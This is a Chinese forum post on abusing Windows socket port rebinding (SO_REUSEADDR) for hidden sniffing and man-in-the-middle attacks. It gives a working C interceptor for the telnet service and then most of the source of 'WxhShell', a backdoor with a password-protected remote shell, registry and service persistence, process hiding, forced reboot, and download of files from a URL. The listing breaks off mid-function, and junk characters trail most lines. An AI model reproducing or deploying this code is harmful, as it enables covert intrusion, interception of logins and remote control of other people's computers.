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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jJt4{c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N1.1  
y3QS! 3I  
  saddr.sin_family = AF_INET; YN<vOv  
59W~bWHCP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V,'_BUl+x  
1n7'\esC*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $G }9iV7  
h#Z,ud_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }m5()@Q}a  
S+wT}_BQ  
  这意味着什么?意味着可以进行如下的攻击: ONy\/lu|  
PN<Vqt W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EfpMzD7/(  
Ij =NcP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]SPuNBsy)  
:2 :VMIa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BYhiP/^  
(3!6nQj-t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N'aq4okoL  
.7LQ l ?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d]^m^  
_~C1M&b(X3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *!*%~h8V  
XE2rx2k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .oTS7rYw  
t)?K@{ 9  
  #include Y`4 LMK[]  
  #include J=: \b  
  #include Q^3{L\6_  
  #include    S&XlMu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6\I1J= C  
  int main() 6J}Yr5oD  
  { 6vps`k$,~  
  WORD wVersionRequested; nHq4f&(H  
  DWORD ret; +,$pcf<[V  
  WSADATA wsaData; p9u'nDi  
  BOOL val; R4JfH  
  SOCKADDR_IN saddr; ElDeXLr'  
  SOCKADDR_IN scaddr; j&Xx{ 4v  
  int err; h*!oHS~/l  
  SOCKET s; >G%oWRk  
  SOCKET sc; oJ3(7Sz  
  int caddsize; +r;t]  
  HANDLE mt; tCGx]\  
  DWORD tid;   3"v>y]$U  
  wVersionRequested = MAKEWORD( 2, 2 ); $U9]v5  
  err = WSAStartup( wVersionRequested, &wsaData ); q+*\'H>  
  if ( err != 0 ) { P 6La)U`VA  
  printf("error!WSAStartup failed!\n"); xfI0P0+  
  return -1; yE,qLiH  
  } ,c?( |tF  
  saddr.sin_family = AF_INET; $ xHtI]T  
   4cPZGZ{U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q 165S  
OgC,oj,!/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (EosLn h0  
  saddr.sin_port = htons(23); Rf>)#hn%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^ +@OiL>&i  
  { kN{$-v=K  
  printf("error!socket failed!\n"); ISK 8t  
  return -1; 3#dz6+  
  } C#yRop_d]o  
  val = TRUE; FBB<1({A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fsw[ R0B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \f(zMP  
  { E"S# d&9  
  printf("error!setsockopt failed!\n"); ` V [4  
  return -1; C,$o+q*)W9  
  } oA7DhU5n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2@ 9?~?r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G/(,,T}eG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <DR! AR)  
_Y]Oloo('  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cojs;`3iF:  
  { t^zE^:06  
  ret=GetLastError(); ^dhx/e%s  
  printf("error!bind failed!\n"); tvFe_*Ck  
  return -1; d4^x,hzV  
  } ' 7oCWHq[  
  listen(s,2); ITqAy1m@C  
  while(1) 6_u!{  
  { Y*\h?p[,  
  caddsize = sizeof(scaddr); tD}-&"REP  
  //接受连接请求 6jgP/~hP>N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "9QZX[J|*  
  if(sc!=INVALID_SOCKET) Ert={"Q  
  { !uIY,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vWM&4|Q1~  
  if(mt==NULL) PLz+%L;{  
  { T|D^kL%m!  
  printf("Thread Creat Failed!\n"); jN*wbqL  
  break; Z4As'al  
  } %cUC~, g_(  
  } 00dY?d{[D  
  CloseHandle(mt); ]cS(2hP7  
  } +>*=~R  
  closesocket(s); ^p9V5o  
  WSACleanup(); \< T7EV.  
  return 0; N wNxO  
  }   \7*|u  
  DWORD WINAPI ClientThread(LPVOID lpParam) UF-'(  
  { #V]8FW  
  SOCKET ss = (SOCKET)lpParam; 9@q!~ur  
  SOCKET sc; _b-g^#L%  
  unsigned char buf[4096]; Qb>("j~Z  
  SOCKADDR_IN saddr; eWex/ m  
  long num; fiA8W  
  DWORD val; Xxd D)I  
  DWORD ret; o -)[{o\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %$Py@g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G!I5Er0pdy  
  saddr.sin_family = AF_INET; G7+{O7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z;?jKE p  
  saddr.sin_port = htons(23); G/},lUzLg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O-W[^r2e  
  { 0)b1'xt',  
  printf("error!socket failed!\n"); "9aFA(H6w  
  return -1; er-0i L@  
  } Vjt7X"_/  
  val = 100; tx9 %.)M:n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W5Pur lu?  
  { HpIi-Es7C  
  ret = GetLastError(); ILH[q>  
  return -1; 8N9,HNBT$  
  } mk!8>XvM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N}7b^0k  
  { 0n`Temb/  
  ret = GetLastError(); sH2xkUp  
  return -1; Hf_ pe  
  } DBcR1c&<H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =FIZh}JD  
  { HDzeotD  
  printf("error!socket connect failed!\n"); @jMo/kO/A  
  closesocket(sc); !A% vR\  
  closesocket(ss); ,P`GIGvkA  
  return -1; ^b|? ?9&  
  } +MaEet  
  while(1) GeB&S!F  
  {  ?f'`b<o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ps,Kj3^T<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zZRLFfz<9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t B`"gC~  
  num = recv(ss,buf,4096,0);  f-[.^/  
  if(num>0) 2~g-k 3  
  send(sc,buf,num,0); F-ofR]|) >  
  else if(num==0) iiJT%Zq`#  
  break; y $uq`FW  
  num = recv(sc,buf,4096,0); b`S9#`  
  if(num>0) iWr #H  
  send(ss,buf,num,0); /c-k{5mH%  
  else if(num==0) 6 ]<yR> '  
  break; +`Nu0y!rj  
  } <[}zw!z  
  closesocket(ss); yY49JZ  
  closesocket(sc); h;r^9g  
  return 0 ; G,Eh8 HboK  
  } &Fuk+Cu{  
Zj ` ;IYFG  
5MCgmF*Y2  
========================================================== <_eEpG}9  
LCA+y1LP-_  
下边附上一个代码,,WXhSHELL V3VTbgF  
<im}R9eJ1  
========================================================== #>lbpw  
( )ldn?v  
#include "stdafx.h" <^{(?*  
rOEBL|P0  
#include <stdio.h> :KG=3un]  
#include <string.h> tCR~z1  
#include <windows.h> m3P7*S5NJ7  
#include <winsock2.h> ^*$!9~  
#include <winsvc.h> IV':sNV  
#include <urlmon.h> 9 lG a*f)  
X_D-K F  
#pragma comment (lib, "Ws2_32.lib") f]?&R c2C  
#pragma comment (lib, "urlmon.lib") ZK'WKC  
4s_5>r4  
#define MAX_USER   100 // 最大客户端连接数 ]K>bSK^TX  
#define BUF_SOCK   200 // sock buffer CA&VnO{r  
#define KEY_BUFF   255 // 输入 buffer $/#[,1  
>>C S8  
#define REBOOT     0   // 重启 zlQBBm;fE  
#define SHUTDOWN   1   // 关机 "o u{bKe  
D^F=:-l m  
#define DEF_PORT   5000 // 监听端口 -OD&x%L*{3  
`#`C.:/n  
#define REG_LEN     16   // 注册表键长度 p^ROt'eQ<  
#define SVC_LEN     80   // NT服务名长度 !~'D;Jh  
5{1=BZftZ  
// 从dll定义API w7pX]<?R"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); edlf++r~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J n2QvUAZ&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \' A- Lp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j%]sym  
Rh ]XJM  
// wxhshell配置信息 Qu8=zI>t  
struct WSCFG { if\`M'3Xx  
  int ws_port;         // 监听端口 ){,M v:#+T  
  char ws_passstr[REG_LEN]; // 口令 *tR'K#:&g!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?/sn"~"  
  char ws_regname[REG_LEN]; // 注册表键名 >z fx2wh\a  
  char ws_svcname[REG_LEN]; // 服务名 LXrk5>9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HP<a'|r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !-%%94Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *nHMQ/uf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FoZI0p?L)9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lm&^`Bn)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4u41M,nJQd  
I|;zGmg#k  
}; ".( G,TW  
&><b/,]  
// default Wxhshell configuration upeioC q  
struct WSCFG wscfg={DEF_PORT, ?GLCd7TP  
    "xuhuanlingzhe", ph!h8@e  
    1, 3tUn?; 9B  
    "Wxhshell", 5K$<Ad4$b  
    "Wxhshell", H)dZ0n4T  
            "WxhShell Service", YG0b*QBY~  
    "Wrsky Windows CmdShell Service", [Ran/D\.  
    "Please Input Your Password: ", OBF-U]?Y  
  1, toOdL0hCe  
  "http://www.wrsky.com/wxhshell.exe", hV) `e"r\s  
  "Wxhshell.exe" y )<+?@sP  
    }; SXJjagAoML  
7,alZ"%W  
// 消息定义模块 )g3c-W=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fN<Y3^i"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N0\<B-8+,>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b^}U^2S%  
char *msg_ws_ext="\n\rExit."; /"~UGn]R  
char *msg_ws_end="\n\rQuit."; Q:y'G9b  
char *msg_ws_boot="\n\rReboot..."; =9p3^:S  
char *msg_ws_poff="\n\rShutdown..."; o^owv(  
char *msg_ws_down="\n\rSave to "; m&(qr5>b  
v|]"uPxH?  
char *msg_ws_err="\n\rErr!"; jt*B0'Sa  
char *msg_ws_ok="\n\rOK!"; q3K}2g  
mC(YO y  
char ExeFile[MAX_PATH]; Up_"qD6  
int nUser = 0; T;PLUjp}  
HANDLE handles[MAX_USER]; -'*<;]P+.  
int OsIsNt; N Mx:Jh-YN  
Y!Io @{f  
SERVICE_STATUS       serviceStatus; #67 7,dn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;7H^;+P  
MTNC{:Q  
// 函数声明 , \RR@~u'  
int Install(void); mZM7 4!4X  
int Uninstall(void); ]TcQGW@'  
int DownloadFile(char *sURL, SOCKET wsh); [io|qLr}\  
int Boot(int flag); @*UV|$~(Q  
void HideProc(void); 4)'U!jSb  
int GetOsVer(void); x1E;dbOZ  
int Wxhshell(SOCKET wsl); 0XqxW\8_l  
void TalkWithClient(void *cs); pNmWBp|ER  
int CmdShell(SOCKET sock); uAoZ&8D6  
int StartFromService(void); @^g~F&Ta  
int StartWxhshell(LPSTR lpCmdLine); $ O[Y  
"oF)u1_?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =1 S%E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wa&!1' @  
88?O4)c  
// 数据结构和表定义 )24M?R@r  
SERVICE_TABLE_ENTRY DispatchTable[] = !gfd!R  
{ dq'f >S z}  
{wscfg.ws_svcname, NTServiceMain}, ;mwnAO  
{NULL, NULL} %p&y/^=0I  
}; -g|ji.  
WA:r4V  
// 自我安装 fd>&RbUp  
int Install(void) DrxQ(yo}  
{ Q#K10*-O6  
  char svExeFile[MAX_PATH]; n;>=QG -v  
  HKEY key; *8)va  
  strcpy(svExeFile,ExeFile); 8B(v6(h  
~$"2,&  
// 如果是win9x系统,修改注册表设为自启动 P4/~_$e  
if(!OsIsNt) {  j},i=v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gA@Zx%0j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]T2Nr[vu  
  RegCloseKey(key); L<Z,@q `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n"Bc2}{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :rjfAe=s  
  RegCloseKey(key); apfr>L3  
  return 0; S)4p'cUwq  
    } HTvUt*U1  
  } -R\dgS3  
} )E^4U 9v),  
else { 1Ax;|.KQH  
*0Fz." v  
// 如果是NT以上系统,安装为系统服务 _u~0t`f~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 've[Mx  
if (schSCManager!=0) 8~TKiR5  
{ ReA-.j_2@  
  SC_HANDLE schService = CreateService Vi}E9I4  
  ( 4fjwC,,  
  schSCManager, X:g#&e_  
  wscfg.ws_svcname, 'V&Uh]>  
  wscfg.ws_svcdisp, $ b53~  
  SERVICE_ALL_ACCESS, r`h".=oD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~<s^HP2U{  
  SERVICE_AUTO_START, urCTP.F  
  SERVICE_ERROR_NORMAL, ~{vB2  
  svExeFile, kY{$[+-jR  
  NULL, ?A*!rW:l;  
  NULL, 3T4HX|rC  
  NULL, n&?)gKL0g  
  NULL, tAI v+L  
  NULL M'|p<SO]  
  ); oVPr`]  
  if (schService!=0) 4neO$^i8J  
  { Ek6 g?rj_  
  CloseServiceHandle(schService); c/v|e&q  
  CloseServiceHandle(schSCManager); o; U!{G(X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N3@[95  
  strcat(svExeFile,wscfg.ws_svcname); g-"GZi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c$tX3ug6I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :XG~AR /  
  RegCloseKey(key); %2g<zdab  
  return 0; 1<_/Qu>V  
    } AYN dV(  
  } |5X[/Q*K`W  
  CloseServiceHandle(schSCManager); [;sTl~gC  
} BOq9\g`5s  
} P?P.QK  
 Y#~A":A  
return 1; a'dlA da  
} a_?b <  
R*6B@<p,i  
// 自我卸载 /wt7KL- I  
int Uninstall(void) \x]\W#C  
{  P Je_qP  
  HKEY key; L G5_\sY!  
Vp|?R65S*  
if(!OsIsNt) { n\JI7A}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2l^_OrE!  
  RegDeleteValue(key,wscfg.ws_regname); 7C,giCYU  
  RegCloseKey(key); y)CvlI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [A"=!e$<  
  RegDeleteValue(key,wscfg.ws_regname); GdVF;  
  RegCloseKey(key); jY]51B  
  return 0; Gsb^gd  
  } U,;796h  
} 4nh=Dq[  
} ka8Y+Gs  
else { f% )9!qeW  
`&OX|mL^w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b:p0@|y  
if (schSCManager!=0) -GHd]7n  
{ {+E]c:{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JTm'fo[  
  if (schService!=0) Y|Gp\  
  { qq)}GK8K&  
  if(DeleteService(schService)!=0) { xdM'v{N#m  
  CloseServiceHandle(schService); LbRQjwc]W  
  CloseServiceHandle(schSCManager);  HG?+b  
  return 0; Fs%`W4/  
  } .SER,],P  
  CloseServiceHandle(schService); C c: <F_UI  
  } Sp:w _;{#  
  CloseServiceHandle(schSCManager); Rb& 9!z  
} gBcs  
} (=Kv1 HaD  
o.0tD  
return 1; 6kdbbGO-  
} F4= =a8  
f(~N+2}  
// 从指定url下载文件 X~D[CwA|`  
int DownloadFile(char *sURL, SOCKET wsh) $8%"bR;Hu  
{ Y<irNp9   
  HRESULT hr; f pq|mY  
char seps[]= "/"; 6uFw+Ya#  
char *token; #fns3=/ H  
char *file; W&%,XwkQ  
char myURL[MAX_PATH]; Abt<23$h  
char myFILE[MAX_PATH]; %'2.9dB  
7H< IO`  
strcpy(myURL,sURL); *URT-+'  
  token=strtok(myURL,seps); tzIP4CR~F&  
  while(token!=NULL) 111A e *U  
  { 5:f!EMb  
    file=token; L6{gwoZf3  
  token=strtok(NULL,seps); F=1 #qo<?  
  } 1(IZ,*i  
P@vUQ  
GetCurrentDirectory(MAX_PATH,myFILE); L-D4>+  
strcat(myFILE, "\\"); ob;|%_  
strcat(myFILE, file); z06,$OYz  
  send(wsh,myFILE,strlen(myFILE),0); /YHO"4Z  
send(wsh,"...",3,0); d-+jb<C&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TaBya0-  
  if(hr==S_OK) DR}I+<*%aD  
return 0; _Tor9Tj  
else nM2<u[{gF  
return 1; Y'i yfnk  
Xi[]8o  
} n>j2$m1[  
:e;6oC*"q  
// 系统电源模块 0r1GGEW`s  
int Boot(int flag) 9 $$uk'}w!  
{ \+O.vRc"M  
  HANDLE hToken; Z6i~Dy3  
  TOKEN_PRIVILEGES tkp; PD.$a-t  
S, AxrQc  
  if(OsIsNt) { \j62"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "N6HX*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aPEI_P+Ls  
    tkp.PrivilegeCount = 1; )c' 45 bD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \\KjiT'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NF6xKwRU]_  
if(flag==REBOOT) { {Fw"y %a^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X%IqZ{ {  
  return 0; -GPJ,S V>  
} Nyy&'\`!  
else { l X+~;94  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i`r`Fj}-S-  
  return 0; BL16?&RK  
} 4F#H$`:[  
  } QTi@yT:  
  else { 9Sxr9FLW~  
if(flag==REBOOT) { 6Qt(Yu*s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [_(J8~ va  
  return 0; @NRN#~S,_]  
} $5JeN{B  
else { |du%c`wl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 018SFle  
  return 0; BA2"GJvfIA  
} s"`~Xnf  
} m.m6.  
:&vX0 Ce:  
return 1; ?IHt T3'Rt  
} uv/\1N;V3  
jj2iF/  
// win9x进程隐藏模块 Intuda7e1  
void HideProc(void) b},2A'X  
{ -!1=S: S  
u NyN[U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  5cIZ_#  
  if ( hKernel != NULL ) EyA ny\"  
  { <}{<FXk[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c#{lXS^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =6Ok4Z  
    FreeLibrary(hKernel); H}F UgA;  
  } \+R%KA/F  
:$b` n  
return; *zrGrk:l  
} X+XDfEt:Q  
-K =.A* }  
// 获取操作系统版本 QX<n^W  
int GetOsVer(void) A,<5W }  
{ {wz)^A sy  
  OSVERSIONINFO winfo; ,^?g\&f(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qhxMO[f  
  GetVersionEx(&winfo); A r]*?:4y[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >fXtu:C-!J  
  return 1; qKfUm:7Q_  
  else eavn.I8J  
  return 0; 6U*CR=4  
} 6^LXctW.  
):G%o  
// 客户端句柄模块 U*=E(l  
int Wxhshell(SOCKET wsl) SPb +H19;  
{ 0* F` h  
  SOCKET wsh; f X[xZGV,  
  struct sockaddr_in client; E,Rj;?  
  DWORD myID; :lB`K>)iB}  
#("M4}~  
  while(nUser<MAX_USER) tVAo o-%  
{ E,6|-V;?  
  int nSize=sizeof(client); $M)i]ekm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R BHDfm'~7  
  if(wsh==INVALID_SOCKET) return 1; P! +Gwm{  
z;1dMQ,#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T$D(Y`zdn  
if(handles[nUser]==0) 5,gT|4|B\g  
  closesocket(wsh); (&SU)Uvu  
else ~6t!)QATnp  
  nUser++; Tx PFl7,r  
  } 9?,i+\)qK@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >whv*@Fr  
OK80-/8HI  
  return 0; "++\6 H<  
} 00 x -  
]%A> swCpn  
// 关闭 socket bs"J]">(N  
void CloseIt(SOCKET wsh) {OEjITm  
{ RlL ]p`g  
closesocket(wsh); "KP]3EyPc  
nUser--; >;MJm  
ExitThread(0); Q<V(#)*  
} 61H_o7XXk  
Xb%Q%"?~  
// 客户端请求句柄 }dzdx "  
void TalkWithClient(void *cs) @. -S(MNR  
{ * |,N/e  
^yPZ$Q  
  SOCKET wsh=(SOCKET)cs; !{^kH;*u  
  char pwd[SVC_LEN]; IADHe\.  
  char cmd[KEY_BUFF]; 3Tu]-.  
char chr[1]; XZKlE F?  
int i,j; {nwoJ'-V  
{jO+N+Ez9  
  while (nUser < MAX_USER) { F `o9GLxM}  
1GK.:s6.f  
if(wscfg.ws_passstr) { /X_L>or  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jo\MDyb]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z|E9}Il]  
  //ZeroMemory(pwd,KEY_BUFF); N5*Q nb8  
      i=0; 4tCM 2it%  
  while(i<SVC_LEN) { Vr},+Rj  
I*N"_uKU  
  // 设置超时 -NJpql{Cb  
  fd_set FdRead; t/;0/ql\  
  struct timeval TimeOut; |qMG@  
  FD_ZERO(&FdRead); FJZ'P;3  
  FD_SET(wsh,&FdRead); |;US)B8}*Z  
  TimeOut.tv_sec=8; Dq<la+VlO  
  TimeOut.tv_usec=0; Csuasi3]1d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .1[.f}g$J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '{2]:  
S#M8}+ZD,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,)[9RgsE  
  pwd=chr[0]; b$DiDm  
  if(chr[0]==0xd || chr[0]==0xa) { U/enq,-F^  
  pwd=0; 0]SWyC :  
  break; ikc1,o  
  } ~QbHp|g  
  i++; P_5aHeiJ  
    } qhY+<S9  
jl P*RX  
  // 如果是非法用户,关闭 socket Sh!c]r>\Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L4Jm8sy{  
} jcqUY+T$  
\eKXsO"d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1.+O2qB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }%Mdf6LS64  
1]:,Xa+|S  
while(1) { {KHI(*r;  
M3-lL;!n  
  ZeroMemory(cmd,KEY_BUFF); ,A{Bx`o?  
o5s6$\"  
      // 自动支持客户端 telnet标准   vm|u~Yd,s  
  j=0; +H3~Infr4f  
  while(j<KEY_BUFF) { `;}`>!8j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A:(|"<lA  
  cmd[j]=chr[0]; Vbv^@Kp  
  if(chr[0]==0xa || chr[0]==0xd) { 89:nF#  
  cmd[j]=0; cIwX sx  
  break; w317]-n  
  } ]!AS%D`  
  j++; FXBmatBck  
    } "v:k5a(  
(O J/u)W^  
  // 下载文件 O6Py  
  if(strstr(cmd,"http://")) { 5&s6(?,Eu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  9Do75S{(  
  if(DownloadFile(cmd,wsh)) $^fF}y6N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$ f`55e  
  else "]=OR>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uNn1qV  
  } :o^ioX.J  
  else { X&zGgP/  
+zMhA p  
    switch(cmd[0]) { )r46I$]>  
  gg#9I(pX  
  // 帮助 1TTS@\  
  case '?': { f)_<Ih\/7_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LKvX~68  
    break; @LI;q  
  } L!xFhVA<  
  // 安装 Q(f0S  
  case 'i': { Dh`&B   
    if(Install()) _5 SvZ;4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7310'wc  
    else E9\"@wu[d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GbO j% a  
    break; neu+h6#H  
    } A>gZl)c  
  // 卸载 S Q:H2vvD  
  case 'r': { :0y-n.-{  
    if(Uninstall()) >!1] G"U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_G2C@y*  
    else 1K3XNHF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /)TeG]Xg  
    break; b<y*:(:  
    } y?UJ <QAi  
  // 显示 wxhshell 所在路径 TI3xt-/  
  case 'p': { 3q4Zwv0z20  
    char svExeFile[MAX_PATH]; Mk#r_:[BS  
    strcpy(svExeFile,"\n\r"); Mi.2 >  
      strcat(svExeFile,ExeFile); I?D=Q $s  
        send(wsh,svExeFile,strlen(svExeFile),0); q* lk9{>  
    break; P\Qvj7_  
    } YMu#<ZG  
  // 重启 "&SE!3*m`I  
  case 'b': { vx?KenO}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AT I=&O`  
    if(Boot(REBOOT)) UhW{KIW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dE8f?L'  
    else { 75H!i$(*+  
    closesocket(wsh); <y?+xZM]#|  
    ExitThread(0); ** m8 HD  
    } 2j4202  
    break; &PPnI(s^K  
    } EC$F|T0f  
